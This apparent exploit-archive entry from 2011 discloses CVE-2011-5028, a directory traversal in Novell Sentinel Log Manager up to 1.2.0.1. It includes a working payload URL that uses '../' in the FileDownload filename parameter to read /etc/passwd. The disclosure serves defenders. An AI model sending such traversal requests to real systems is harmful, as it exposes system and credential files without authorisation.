[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Novell Sentinel Log Manager <= 1.2.0.1 Directory Traversal
# Published : 2011-12-18
# Author :
# Previous Title : Webify Photo Gallery Arbitrary File Deletion Vulnerability
# Next Title : Knowledge Base Enterprise Edition 4.62.00 SQL Injection Vulnerability
# Exploit Title: Novell Sentinel Log Manager directory traversal
# Date: 2011-12-18
# Exploit Author: Andrea Fabrizi
# Vendor Homepage: http://www.novell.com/
# Version: <= 1.2.0.1
# Tested on: Sentinel Log Manager Appliance 1.2.0.1
# CVE: 2011-5028
The latest version of Sentinel Log Manager is prone to a Directory
Traversal, which makes it possible, for Authenticated Users, to access
any system file.
Testing environment: Sentinel Log Manager Appliance 1.2.0.1
Vulnerable URL:
/novelllogmanager/FileDownload?filename=/opt/novell/sentinel_log_mgr/3rdparty/tomcat/temp/../../../../../../etc/passwd
BID: http://www.securityfocus.com/bid/51104/info
CVE-2011-5028: http://www.cvedetails.com/cve/CVE-2011-5028